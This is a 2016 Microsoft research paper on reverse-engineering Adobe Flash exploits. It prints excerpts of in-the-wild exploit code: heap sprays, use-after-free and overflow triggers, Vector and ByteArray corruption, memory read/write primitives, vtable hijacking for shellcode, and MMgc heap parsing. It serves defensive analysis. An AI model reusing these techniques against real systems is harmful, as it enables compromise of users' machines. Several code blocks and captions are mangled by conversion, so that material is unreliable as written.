The art of reverse-engineering Flash exploits

jeongoh@microsoft.com
Jeong Wook Oh
July 2016

Adobe Flash Player vulnerabilities
As recent mitigations in the Oracle Java plugin and web browsers have raised the bar for security protection, attackers are apparently returning to focus on Adobe Flash Player as their main attack target.

For years, Vector corruption was the method of choice for Flash Player exploits. Vector is a data structure in Adobe Flash Player that is implemented in a very concise form in native memory space. It is easy to manipulate the structure without the risk of corrupting other fields in the structure. After Vector length mitigation was introduced, the attackers moved to ByteArray.length corruption (CVE-2015-7645).

Control Flow Guard (CFG) or Control Flow Integrity (CFI) is a mitigation introduced in Windows 8.1 and later, and recently into Adobe Flash Player. Object vtable (virtual function table) corruption has been very common technology for exploit writers for years. CFG creates a valid entry point into vtable calls for specific virtual calls, and exits the process when non-conforming calls are made. This prevents an exploit’s common method of vtable corruption.

Reverse-engineering methods
Dealing with Adobe Flash Player exploits is very challenging. The deficiency of usable debuggers at the byte code level makes debugging the exploits a nightmare for security researchers. Obfuscating the exploits is usually a one-way process and any attempt to decompile them has caveats. There are many good decompilers out there, but they usually have points where they fail, and the attackers usually come up with new obfuscation methods as the defense mechanism to protect their exploits from being reverse-engineered. The worst part is that there is no good way to verify whether the decompiled code is right or wrong unless you have access to the original source code. For this limitation with decompiling, the usual reverse engineering involves a mixed approach with multiple tools and techniques.

Decompilers
There are many commercial and open source decompilers for SWF files. JPEXS Free Flash Decompiler is one of the useful decompilers available for free. For commercial SWF decompilers, Action Script Viewer shows good decompiling results. The fundamental limitation with these decompilers is that there is a lot of heavily obfuscated code out there that makes decompiling simply impossible or severely broken. Some decompilers simply output the best code they can produce, but never warn when the code can possibly be broken.
The following shows broken code from one of the decompilers. When an “unresolved jump” error happens, the decompiled code around it tends not to be so accurate.

```plaintext
for (;_local_9 < _arg_1.length;(_local_6 = _SafeStr_128(_local_5, 0x1E)), goto _label_2, if (_local_15 < 0x50) goto _label_1; , (_local_4 = _SafeStr_129(_local_4, _local_10)), for (;;)
{
    _local_8 = _SafeStr_129(_local_8, _local_14);
    (_local_9 = (_local_9 + 0x10));
    //unresolved jump <= unresolved jump error
    // @239 jump @254
}
```

Figure 1 Unresolved jump from ASV decompiler

The following shows the disassembled code where the error happens. Most of the code is garbage code that causes confusion for the decompilers. Uninitialized registers are used to generate extra code blocks with garbage instructions, which most decompilers don’t recognize very well.

```plaintext
getlocal3
getlocal 15 ; 0x0F 0x0F
getlocal 17 ; 0x11 0x11 // register 17 is never initialized
iftrue LS11 ; 0xFF 0xFF // This condition is always false
jump LS03 ; 0xF7 0xF7
; 0x07 // Start of garbage code (this code will be never reached)
; 0xC2
; 0x08
; 0xC2
; 0x73
; 0x92
; 0x0A
; 0x08
; 0x0F
; 0x85
; 0x64
; 0x08
; 0x0C
LS03:
pushbyte 8 ; 0x08 0x08 // All garbage code
getlocal 17 ; 0x11 0x11
iffalse LS10 ; 0xFE 0xFE
negate
increment
pushbyte 33 ; 0x21 0x21
multiply_i
LS10:
subtract
LS11:
getproperty MultinameL([PrivateNamespace("*", "override const/class#0"), PackageNamespace("", "#0"), PrivateNamespace("*", "override const/class#1"), PackageInternalNs(""), Namespace("http://adobe.com/AS3/2006/builtin"), ProtectedNamespace("override const"), StaticProtectedNs("override const")]); 0x20 0x20
```

Figure 2 Garbage code
Disassemblers

One way to reverse-engineer Flash exploits is using disassemblers. **RABCDAsm** is a very powerful disassembler that can extract ABC (*ActionScript Byte Code*) records used in AVM2 (*ActionScript Virtual Machine 2*) from SWF files and disassemble the bytecode inside ABC records. For more information on the instructions for AVM2, see the [ActionScript Virtual Machine 2 Overview from Adobe](https://www.adobe.com/products/flashplayer/overview.html).

One of the issues we observed with recent Angler exploits is that they use a code to break disassemblers. For example, `lookupswitch` instruction can be abused to break a disassembler like **RABCDAsm** when huge `case_count` value is supplied to the tool and no actual code is present for the jump targets.

![Figure 3 Malicious lookupswitch instruction](image)

A code patch for this specific case is presented below for the `readMethodBody` routine. It filters out any `lookupswitch` instruction with case counts that are too large (bigger than 0xffff).

```cpp
case OpcodeArgumentType SwitchTargets:
    instruction.arguments[i].switchTargets.length = readU30()+1;
    foreach (ref label; instruction.arguments[i].switchTargets)
    
        if (length<0xffff)
        {
            label.absoluteOffset = instructionOffset + readS24();
            queue(label.absoluteOffset);
        }
        
        instruction.arguments[i].switchTargets.length = length+1;
        foreach (ref label; instruction.arguments[i].switchTargets)
        {
            label.absoluteOffset = instructionOffset + readS24();
            queue(label.absoluteOffset);
        }
        
        break;
    
else
    {
        writefln("Abnormal SwitchTargets length: %x", length);
    }

break;
```

![Figure 4 Patch on readMethodBody routine](image)

Because we can also use **RABCDAsm** for compiling *ActionScript*, when an invalid `lookupswitch` instruction generated by the malicious ABC record is found in an assembly file, we should ignore them too. The code patch for `writeMethodBody` is presented below.
FlashHacker prototype was originally developed as an open-source project based on the concept presented from ShmooCon 2012. We internalized the tool so that it can instrument more elements of AVM bytecode and can provide more detailed filtering options. The one challenge you will meet in using AVM bytecode instrumentation is the performance degradation with CPU-intensive code. For example, heap spraying code with additional instrumentation will usually make the exploit code fail due to a default timeout embedded in the Flash Player. You can still perform delicate operations by using filters upon this CPU-intensive code. The instrumentation technique was regularly used for the root cause analysis (RCA) and mitigation bypass research work we performed recently.

AVMPlus source code
Having access to source code to the target you’re working on is a good advantage. For AVM, you can still look into open-source implementation of AVM from the AVMplus project. The source code is very useful in understanding what is happening with some exploit code. You can even observe that some exploits took some code directly out from the AVMplus code base, for example MMgc parsers.

Native level debugging of Flash
Unless you have a symbol access to Flash, debugging and triaging vulnerabilities and exploits under native level is a challenging work.
RW primitives
Read/write (RW) primitives are the objects or functions the exploit uses to achieve memory read and write. Modern exploits usually require RW primitives to achieve full code execution to bypass defense mechanisms like ASLR or DEP. From a defender’s point of view, knowing RW primitives for a new exploit helps a lot with figuring out what code execution method the exploit is employing to bypass mitigation techniques like CFG.

Vector.length corruption
Since introduced with the Lady Boyle exploit with CVE-2013-0634 in 2013, Vector corruption became a de facto standard for Flash exploits. And even IE vulnerabilities (CVE-2013-3163, CVE-2014-0322 and CVE-2014-1776) were exploited through Vector corruption. For more details on IE exploit Vector use, please read presentation from Chun Feng and Elia Florio.

The following exploit code for CVE-2015-5122, which is a TextLine use-after-free vulnerability, used typical Vector corruption as its RW primitive method. After laying out Vector.<uint> and TextLine objects in an adjacent memory, it will trigger use-after-free. At this state, normal Vector assignment operation can be used to corrupt adjacent object’s Vector.length field to 0x40000000 value. This corrupt Vector can be used as an RW primitive.

```java
public class MyClass extends MyUtils {
    ...
    static var _mc:MyClass;
    static var _vu:Vector.<uint>;
    static var LEN40:uint = 0x40000000;
    static function TryExpl() {
        ...
        _arLen1 = (0x0A * 0x03);
        _arLen2 = (_arLen1 + (0x04 * 0x04));
        _arLen = (_arLen2 + (0x0A * 0x08));
        _ar = new Array(_arLen);
        _mc = new MyClass();
        ...
        _vLen = ((0x0190 / 0x04) - 0x02);
        while (i < _arLen1)
            _ar[i] = new Vector.<uint>(_vLen);
            i = (i + 1);
        
    }
}
```

**Figure 6 First Vector spray**

```java
i = _arLen2;
while (i < _arLen)
    {
        _ar[i] = new Vector.<uint>(0x08);
        _ar[i][0x00] = i;
        i = (i + 1);
    }
i = _arLen1;
```

**Figure 7 Second Vector spray**
After spraying `Vector` and `TextLine` objects, the exploit assigns `valueOf2` as a new `valueOf` prototype object to the `MyClass` class itself.

```javascript
MyClass.prototype.valueOf = valueOf2;
_cnt = (_arLen2 - 0x06);
_ar[_cnt].opaqueBackground = _mc;  // Trigger use-after-free vulnerability (static var _mc:MyClass)
```

The `valueOf2` function is called when the `opaqueBackground` assignment happens with the `_mc` variable.

```javascript
static function valueOf2()
{
    var i:int;
    try
    {
        if (++_cnt < _arLen2)
        {
            _ar[_cnt].opaqueBackground = _mc;
        }
        else
        {
            Log("MyClass.valueOf2()");
            i = 0x01;
            while (i <= 0x05)
            {
                _tb.recreateTextLine(_ar[(_arLen2 - i)]);  // Trigger use-after-free condition
                i = (i + 1);
            }
            i = _arLen2;
            while (i < _arLen)
            {
                _ar[i].length = _vLen;
                i = (i + 1);
            }
        }
    }
    ... return (_vLen + 0x08));
    }
```
When the Vector corruption happens, the FlashHacker log looks like following. You can observe that the Vector.<uint>.length field is corrupt to 0x40000000.

```
i = _arLen2;
while (i < _arLen)
{
    _vu = _ar[i];
    if (_vu.length > (_vLen + 0x02))
    {
        Log((("ar[" + i + "]].length = ") + Hex(_vu.length));
        Log((("ar[" + i + "]][" + Hex(_vLen)) + "] = ") + Hex(_vu[_vLen]));
        if (_vu[_vLen] == _vLen)
        {
            _vu[_vLen] = LEN40;  \* Corrupt _vu[_vLen+0x02].length to LEN40 (0x40000000)
            _vu = _ar[_vu[(_vLen + 0x02)]];  \*_vu now points to corrupt Vector element
            break;
        };
    }
    i = (i + 1);
}
```

Figure 11 Looking for corrupt Vector element

Figure 12 FlashHacker log for Vector corruption
**ByteArray.length corruption**

The exploit code for CVE-2015-8651 (AS3 fast bytecode optimization) found for the DUBNIUM campaign used the corrupt `ByteArray.length` field as an RW primitive. This technique was introduced to bypass Vector mitigations.

```plaintext
_global_4 = 0x8012002C;
s32(0x7FFFFFFF, (_global_4 + 0x7FFFFFFC)); ← Out-of-bounds write with s32 upon ByteArray.length location at _global_4 + 0x7FFFFFFF with value of 0x7FFFFFFF
```

*Figure 13 Instruction s32 is used to corrupt ByteArray.length field*

After `ByteArray.length` corruption, it needs to determine which `ByteArray` is corrupt out of the sprayed `ByteArrays`.

```plaintext
_global_10 = 0x00;
while (_global_10 < bc.length)
{
    if (bc[_global_10].length > 0x10) ← Check if ByteArray.length is corrupt
        cbIndex = _global_10; ← Index of corrupt ByteArray element in the bc array
    }
    else
    {
        bc[_global_10] = null;
    }
    _global_10++;
}
```

*Figure 14 Determining corrupt ByteArray*

The following shows various RW primitives that this exploit code provides. Basically this extensive list of methods provides functions to support different applications and OS flavors.

```plaintext
public function read32(destAddr:Number, modeAbs:Boolean=true):Number
private function read32x86(destAddr:int, modeAbs:Boolean):uint
private function read32x64(destAddr:Number, modeAbs:Boolean):uint
public function readInt(u1:int, u2:int, mod:uint):int
public function read64(destAddr:Number, modeAbs:Boolean=true):Number
private function read64x86(destAddr:uint, modeAbs:Boolean):Number
private function read64x64(destAddr:Number, modeAbs:Boolean):Number
public function readBytes(destAddr:Number, nRead:uint, modeAbs:Boolean=true):ByteArray
private function readBytesx86(destAddr:uint, nRead:uint, modeAbs:Boolean):ByteArray
private function readBytesx64(destAddr:Number, nRead:uint, modeAbs:Boolean):ByteArray
public function write32(destAddr:Number, value:uint, modeAbs:Boolean=true):Boolean
private function write32x86(destAddr:int, value:uint, modeAbs:Boolean):Boolean
private function write32x64(destAddr:Number, value:uint, modeAbs:Boolean):Boolean
public function write64(destAddr:Number, value:Number, modeAbs:Boolean=true):Boolean
private function write64x86(destAddr:uint, value:Number, modeAbs:Boolean):Boolean
private function write64x64(destAddr:Number, value:Number, modeAbs:Boolean):Boolean
public function writeBytes(destAddr:Number, baWrite:ByteArray, modeAbs:Boolean=true):ByteArray
private function writeBytesx86(destAddr:uint, ba:ByteArray, modeAbs:Boolean):ByteArray
private function writeBytesx64(destAddr:Number, ba:ByteArray, modeAbs:Boolean):ByteArray
```

*Figure 15 RW primitives*
For example, \texttt{read32x86} method can be used to read the arbitrary process memory address on the x86 platform. The \texttt{cbIndex} variable is the index into the \texttt{bc} array which is an array of \texttt{ByteArray} type. The \texttt{bc[cbIndex]} is the specific \texttt{ByteArray} that is corrupted through the fast memory vulnerability. After setting the virtual address as position member, it uses the \texttt{readUnsignedInt} method to read the memory value.

```java
private function read32x86(destAddr:int, modeAbs:Boolean):uint
{
    var _local_3:int;
    if (((isMitisSE) || (isMitisSE9)))
    {
        bc[cbIndex].position = destAddr;
        bc[cbIndex].endian = "littleEndian";
        return (bc[cbIndex].readUnsignedInt());
    };
}
```

\textit{Figure 16 Read primitive}

The same principle applies to the \texttt{write32x86} method. It uses the \texttt{writeUnsignedInt} method to write to an arbitrary memory location.

```java
private function write32x86(destAddr:int, value:uint, modeAbs:Boolean=true):Boolean
{
    if (((isMitisSE) || (isMitisSE9)))
    {
        bc[cbIndex].position = destAddr;
        bc[cbIndex].endian = "littleEndian";
        return (bc[cbIndex].writeUnsignedInt(value));
    };
}
```

\textit{Figure 17 Write primitive}

Above these, the exploit can perform a complex operation like reading multiple bytes using the \texttt{readBytes} method.

```java
private function readBytesx86(destAddr:uint, nRead:uint, modeAbs:Boolean):ByteArray
{
    var _local_4:ByteArray = new ByteArray();
    var _local_5:uint = read32(rwableBAPoiAddr);
    write32(rwableBAPoiAddr, destAddr);
    var _local_6:uint;
    if (nRead > 0x1000)
    {
        _local_6 = read32((rwableBAPoiAddr + 0x08));
        write32((rwableBAPoiAddr + 0x08), nRead);
    };
    rwableBA.position = 0x00;
    try
    {
        rwableBA.readBytes(_local_4, 0x00, nRead);
    }
}
```

\textit{Figure 18 Byte reading primitive}
The CVE-2016-1010 is the heap overflow vulnerability with the `BitmapData.copyPixel` method. The exploit that appeared to be exploiting this vulnerability used very interesting RW primitives. One thing to note is that these RW primitives are used to corrupt `ByteArray` and use it as a main RW primitive later. So this first stage RW primitive is used as a temporary measure and `ByteArray` RW primitive as the main one because `ByteArray` operations are more straightforward in programming.

The first step with using this RW primitive is spraying `ConvolutionFilter` objects (about count of 0x100).

```
public function SprayConvolutionFilter():void
{
    var _local_2:int;
    hhj234kkwr134 = new ConvolutionFilter(defaultMatrixX, 1);
    mnmb43 = new ConvolutionFilter(defaultMatrixX, 1);
    hgfghffg3454331 = new ConvolutionFilter(defaultMatrixX, 1);
    var _local_1:int;
    while (_local_1 < 0x0100)
    {
        _local_2 = _local_1++;
        ConvolutionFilterArray[_local_2] = new ConvolutionFilter(defaultMatrixX, 1); // heap spraying ConvolutionFilter objects
    }
}
```

After triggering the vulnerability using `copyPixels` method, it will call the `TypeConfuseConvolutionFilter` method to create a type-confused `ConvolutionFilter` object.

```
public function TriggerVulnerability():Boolean
{
    var _local_9:int;
    var sourceBitmapData:BitmapData = new BitmapData(1, 1, true, 0xFF000001); // fill color is FF000001
    var sourceRect:Rectangle = new Rectangle(-880, -2, 0x4000000E, 8);
    var destPoint:Point = new Point(0, 0);
    var _local_4:TextFormat = new TextFormat();
    _local_4.tabStops = [4, 4];
    ...
    _local_1.copyPixels(sourceBitmapData, sourceRect, destPoint);
    if (!((TypeConfuseConvolutionFilter)))
    {
        return (false);
    }
}
```

---

**Figure 19 Call to TypeConfuseConvolutionFilter method from TriggerVulnerability method**

The function uses a DWORD marker of 0x55667788 to corrupt a memory portion from the matrix array and locate the type-confused `ConvolutionFilter` element from the sprayed objects.
After creating type-confused *ConvolutionFilter*, the exploit uses this object to locate type-confused *TextField* object.
public function TriggerVulnerability():Boolean
{

  ...
  var _local_7:Boolean;
  var _local_8:int;
  while (_local_8 < 16)
  {
    _local_9 = _local_8++;
    TextFieldArray[_local_9].setTextFormat(_local_4, 4, 5);
    ConfusedMatrix = ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix;
    if (((jjj3.NumberToDword(ConfusedMatrix[ConfusedMatrixIndex]) == 8))
    {
      ConfusedTextField = TextFieldArray[_local_9]; // Type-confused TextField
      _local_7 = true;
      break;
    }
  }
}

public function read4(_arg_1:___Int64):uint
{
  var matrixIndex:int;
  if (IsByteArrayCorrupt)
  {
    SetCorruptByteArrayPosition(_arg_1);
    return (CorruptByteArray.readUnsignedInt());
  }
  matrixIndex = (17 + ConfusedMatrixIndex);
  TmpMatrix[matrixIndex] = jjj3.IntToNumber(_arg_1.low);
  TmpMatrix[(matrixIndex + 1)] = jjj3.IntToNumber(1);
  ConvolutionFilterArray[((ConfusedConvolutionFilterIndex + 5) - 1)].matrix = TmpMatrix;
  textFormat = ConfusedTextField.getTextFormat(0, 1);
  return (textFormat.tabStops[0]);
}

Figure 21 Finding type-confused TextField after setTextFormat call and type-confused ConvolutionFilter operation

Read4 method uses corrupt ByteArray if it is available, but it also uses type-confused ConvolutionFilter with type-confused TextField. The object for address input is ConvolutionFilter and you can read memory contents through textFormat.tabStops[0] of type-confused TextFormat.

Figure 22 Using TextFormat.tabStops[0] to read memory contents
CFG

After CFG was introduced to Adobe Flash Player, executing code became a non-trivial job for the exploit writers. We observed various techniques they recently use. We also observed CFG can be very powerful in making the cost of the exploit development higher. In fact, in the last two years, no zero day exploits for Microsoft RCE vulnerabilities have been found in-the-wild that work against Internet Explorer 11 on Windows 8.1+, where CFG is present.

Pre-CFG code execution - vtable corruption

Before CFG was introduced into Flash Player, code execution was rather straight-forward once the exploit acquired RW privilege on the target process memory. Mostly it was done by corrupting object vtable and calling the corrupt method. FileReference and Sound objects were popular targets for years for Flash exploits. The following CVE-2015-0336 exploit code shows a code example that is using the FileReference.cancel method to execute code.

```
var _local_10:uint = (read32((_local_5 + (((0x08 - 1) * 0x28) * 0x51)) + ((((-(0x9C) + 1) - 0x6E) - 1) + 0x1B));
var _local_4:uint = read32(_local_10);
write32(_local_10, _local_7);
cool_fr.cancel();
```

The following shows a log from the exploit using FileReference object for shellcode execution.
Figure 25 Shellcode execution through FileReference.cancel call
**MMgc**

With the introduction of CFG, the attacker moved to **MMgc** to find targets for corruptions to further their code execution. **MMgc** has very predictable behavior with various internal structure allocations. This helps with the attackers in parsing **MMgc** structures and finding corruption target objects.

**Object finder**

The first in-the-wild CVE-2016-1010 exploit parses **MMgc** internal structures for various purposes. The **MMgc** memory structure parsing starts with object memory leak. The leaked object address comes from a type-confused *ConvolutionFilter* object in this case.

```java
public function TriggerVulnerability():Boolean
{
    ...
    _local_1.copyPixels(_local_1, _local_2, _local_3);
    if (!TypeConfuseConvolutionFilter())
    {
        return (false);
    }
    ...
    gfhgfsdf22432.gfg43[bczzzzz + 1].matrixX = 15;
    gfhgfsdf22432.gfhfg3[bczzzzz].matrixX = 15;
    gfhgfsdf22432.gfhfg[3][bczzzzz + 6 - 1].matrixX = 15;
    LeakedObjectAddress = jij3.hhh33((jij3.NumberToDword(ConvolutionFilterArray[ConfusedConvolutionFilterIndex].matrix[0]) & -4096), 0);
}
```

*Figure 26* Leaking object address

The following code shows the start of the *EnumerateFixedBlocks (hhh222)* function.

```java
public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true, param4:___Int64 = undefined) : Array
{
    ...
    var _loc6_:* = ParseFixedAllocHeaderBySize(param1,param2);
}
```

*Figure 27* EnumerateFixedBlocks (hhh222) uses ParseFixedAllHeaderBySize and ParseFixedBlock calls

*EnumerateFixedBlocks (hhh222)* calls ParseFixedAllocHeaderBySize (*ghfgfh23*) first. *ParseFixedAllocHeaderBySize (ghfgfh23)* uses LocateFixedAllocAddrBySize (*jjj3fdffg*) and *ParseFixedAllocHeader (cvg45)* to retrieve and parse *FixedAlloc* header information on the objects with specific sizes.

```java
public function ParseFixedAllocHeaderBySize(_arg_1:int, _arg_2:Boolean):Object
{
    var _local_3:ByteArray = gg2rw.readn(LocateFixedAllocAddrBySize(_arg_1, _arg_2), FixedAllocSafeSize);
    return (ParseFixedAllocHeader(_local_3, LocateFixedAllocAddrBySize(_arg_1, _arg_2)));)
```

*Figure 28* ParseFixedAllocHeaderBySize (*ghfgfh23*)
LocateFixedAllocAddrBySize

* LocateFixedAllocAddrBySize (jjj34fdfg) gets arg_1 with heap size and returns the memory location where the heap block starts.*

| * Enter: Jdfgdfgd34/instance/jjj34dfdg(000007f0, True) |
| * Return: Jdfgdfgd34/instance/jjj34dfdg 00000000`6fb7c36c |

Figure 29 LocateFixedAllocAddrBySize (jjj34fdfg) returning address of object with size of 0x7f0

The following code shows the part where address length and FixedAllocSafe structure size are calculated based on the Flash version and platform.

```java
public function Jdfgdfgd34(_arg_1:*,_arg_2:Object):void
{
  ...
  AddressLength = 4;
  if (is64bit)
  {
    AddressLength = 8;
  }
  FixedAllocSafeSize = (((8 + (5 * AddressLength)) + AddressLength) + AddressLength);
  if ((cbc4344.FlashVersionTokens[0] >= 20))
  {
    FixedAllocSafeSize = (FixedAllocSafeSize + AddressLength);
  }
}
```

Figure 30 Determining MMgc related offsets and object size

DetermineMMgcLocations (hgjdjjd134134) is used to determine some of the MMgc related locations.
DetermineMMgcLocations (hgjdhjdid134134) calls SearchDword3F8 on the memory location it got through some memory references from the leaked object address. This SearchDword3F8 searches for the 0x3F8 DWORD value from the memory, which seems like a very important indicator of the MMgc structure it looks for.

```java
public function DetermineMMgcLocations (_arg_1:___Int64, _arg_2:Boolean):Boolean {
    var _local_6 = (null as ___Int64);
    var _local_7 = (null as ___Int64);
    var _local_8 = (null as ___Int64);
    var _local_4:int = (jjjj222222lpmc.GetLow(_arg_1) & -4096);
    var _local_3:___Int64 = jjjj222222lpmc.ConverToInt64((_local_4 + jhjhghj23.bitCount), jjjj222222lpmc.GetHigh(_arg_1));
    _local_3 = jjjj222222lpmc.Subtract(_local_3, offset1);
    var _local_5:___Int64 = gg2rw.peekPtr(_local_3);
    _local_7 = new ___Int64(0, 0);
    _local_6 = _local_7;
    if ((((_local_5.high == _local_6.high)) && ((_local_5.low == _local_6.low))))
    {
        return (false);
    }
    cvbc345 = gg2rw.peekPtr(_local_5);
    ...
    if (!([IsFlashGT20]))
    {
        _local_6 = SearchDword3F8(_local_5);
        M_allocs01 = _local_6;
        M_allocs02 = _local_6;
    }
    else
    {
        if (_arg_2)
        {
            M_allocs01 = SearchDword3F8(_local_5);
            ...
            M_allocs02 = SearchDword3F8(jjjj222222lpmc.AddInt64(M_allocs01, (FixedAllocSafeSize + 20)));
        }
        else
        {
            M_allocs02 = SearchDword3F8(_local_5);
            ...
            M_allocs01 = SearchDword3F8(jjjj222222lpmc.SubtractInt64(M_allocs02, (FixedAllocSafeSize + 20)));
        }
    }
    ...
}
```
The following code shows the exploit code for \textit{GetSizeClassIndex}. 

\begin{verbatim}
public function SearchDword3F8(_arg_1:___Int64):___Int64
{
    var currentAddr:___Int64 = _arg_1;
    var ret:int;
    while (ret != 0x3F8)
    {
        currentAddr = jjjj222222lpmc.SubtractInt64(currentAddr, FixedAllocSafeSize);
        if (IsFlashGT20)
        {
            ret = gg2rw.read4(jjjj222222lpmc.AddInt64(currentAddr, (AddressLength + 4)));
        }
        else
        {
            ret = gg2rw.read4(jjjj222222lpmc.AddInt64(currentAddr, AddressLength));
        }
        return (jjjj222222lpmc.SubtractInt64(currentAddr, (AddressLength + 4)));
    }
}

public function LocateFixedAllocAddrBySize(_arg_1:int, _arg_2:Boolean):___Int64
{
    var index:int = jhjhghj23. GetSizeClassIndex(_arg_1);
    var offset:int = ((2 * AddressLength) + (index * FixedAllocSafeSize));
    if (_arg_2)
    {
        return (jjjj222222lpmc.AddInt(M_allocs01, offset));
    }
    return (jjjj222222lpmc.AddInt(M_allocs02, offset));
}
\end{verbatim}

\textit{Figure 31 SearchDword3F8 routine to scan memory of 0x3F8 DWORD value}

\textit{LocateFixedAllocAddrBySize (jjj34fdfg)} uses \textit{GetSizeClassIndex} method to retrieve the index value and uses it with platform and Flash version-dependent sizes to calculate offsets of the \textit{FixedAlloc} structure header.

\textit{Figure 32 LocateFixedAllocAddrBySize (jjj34fdfg) function}
This routine has similarity to the `FixedMalloc::FindAllocatorForSize` routine from the Avmplus code.
The following code shows the \textit{kSizeClassIndex} array from the Avmlplus code base. It has same class index values.

\begin{verbatim}
#ifdef MMGC_64BIT
/*static*/ const uint8_t FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
  0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
  15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 26,
  27, 27, 28, 28, 29, 29, 30, 30, 30, 30, 31, 31, 32, 32,
  32, 32, 32, 33, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34,
  34, 34, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36,
  36, 36, 36, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37,
  37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38,
  38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40
};
#endif

#else
/*static*/ const uint8_t FixedMalloc::kSizeClassIndex[kMaxSizeClassIndex] = {
  0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
  15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 26,
  27, 27, 28, 28, 29, 29, 30, 30, 30, 30, 31, 31, 32, 32,
  32, 32, 32, 33, 33, 33, 33, 33, 33, 33, 34, 34, 34, 34,
  34, 34, 35, 35, 35, 35, 35, 35, 35, 36, 36, 36, 36, 36,
  36, 36, 36, 36, 36, 36, 36, 37, 37, 37, 37, 37, 37,
  37, 37, 37, 37, 38, 38, 38, 38, 38, 38, 38, 38, 38,
  38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 38, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39, 39,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
  40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40
};
#endif

Figure 36 \textit{kSizeClassIndex} from Avmlplus
\end{verbatim}

\textbf{ParseFixedAllocHeader}

\textit{FixedAlloc} is a data structure that contains memory pointer to the \textit{FixedBlock} linked lists. Memory blocks with the same size will be chained in these linked list structures.
ParseFixedAllocHeader (cvb45) function parses the FixedAlloc header. It uses ReadPointer (ghgfhf12341) RW primitive to read pointer size data from the memory location here.

From the following example, the ParseFixedAllocHeaderBySize (ghgfhf23) gets 0x7f0 as a heap size and returns the parsed structure for the heap block.
The returned structure has the heap block header structure. The DWORD at offset 0xC location has the size of the allocated structure (0x7f0) it looked for.

```
0:000> dds 6fb7c36c < fixedAllocAddr
6fb7c36c 6fb7a530 < m_heap
6fb7c370 00000001 < m_unknown
6fb7c374 00000002 < m_itemsPerBlock
6fb7c378 0000007f0 < m_itemSize
6fb7c37c 00000000 < m_firstFree
6fb7c380 00000000 < m_lastBlock
6fb7c384 00000000 < m_firstFree
6fb7c388 00000001 < m_maxAlloc
6fb7c38c 00000001
```

Figure 40 FixedAlloc structure dump
**ParseFixedBlock**

*ParseFixedBlock (vcb4)* is used in the *EnumerateFixedBlocks (hhh222)* function to enumerate through *FixedBlock* linked lists.

```javascript
public function EnumerateFixedBlocks (param1:int, param2:Boolean, param3:Boolean = true, param4:_Int64 = undefined) : Array {
    var fixedBlockAddr:* = null as _Int64;
    var _loc8_:* = null as _Int64;
    var _loc9_:* = 0;
    var _loc10_:* = null as ByteArray;
    var fixedBlockInfo:* = null;
    var _loc5_:Array = [];
    var _loc6_:* = ParseFixedAllocHeaderBySize(param1,param2);
    if(param3) {
        fixedBlockAddr = _loc6_.m_firstBlock;
    } else {
        fixedBlockAddr = _loc6_.m_lastBlock;
    }
    while(!jjjj222222lpmc.IsZero(fixedBlockAddr)) {
        ...
        _loc10_ = gg2rw.readn(fixedBlockAddr,Jdfgdf435GwgVfg.Hfghgfh3); ← read by chunk
        fixedBlockInfo = ParseFixedBlock(_loc10_,fixedBlockAddr); ← FixedBlockAddr: size
        _loc5_.push(fixedBlockInfo);
        if(param3) {
            fixedBlockAddr = fixedBlockInfo.next;
        } else {
            fixedBlockAddr = fixedBlockInfo.prev;
        }
    }
    return _loc5_;}
```

**Figure 41 ParseFixedBlock loop on FixedBlock linked lists**

The *FixedBlock* structure looks like following.

```c
struct FixedBlock {
    void* firstFree;  // First object on the block’s free list
    void* nextitem;   // First object free at the end of the block
    FixedBlock* next; // Next block on the list of blocks (m_firstBlock list in the allocator)
    FixedBlock* prev; // Previous block on the list of blocks
    uint16_t numAlloc; // Number of items allocated from the block
    uint16_t size;    // Size of objects in the block
    FixedBlock* nextFree; // Next block on the list of blocks with free items (m_firstFree list in the allocator)
    FixedAlloc* prevFree; // Previous block on the list of blocks with free items
    FixedAlloc* alloc;  // The allocator that owns this block
    char items[1];     // Memory for objects starts here
};
```

**Figure 42 FixedBlock definition**
ParseFixedBlock (vcb4) parses FixedBlock based upon the structure in the code.

```java
public function ParseFixedBlock (param1:ByteArray, param2:__Int64) : Object
{
    var _loc3_: = {
        "firstFree": jjjj222222lpmc.ReadPointer(param1),
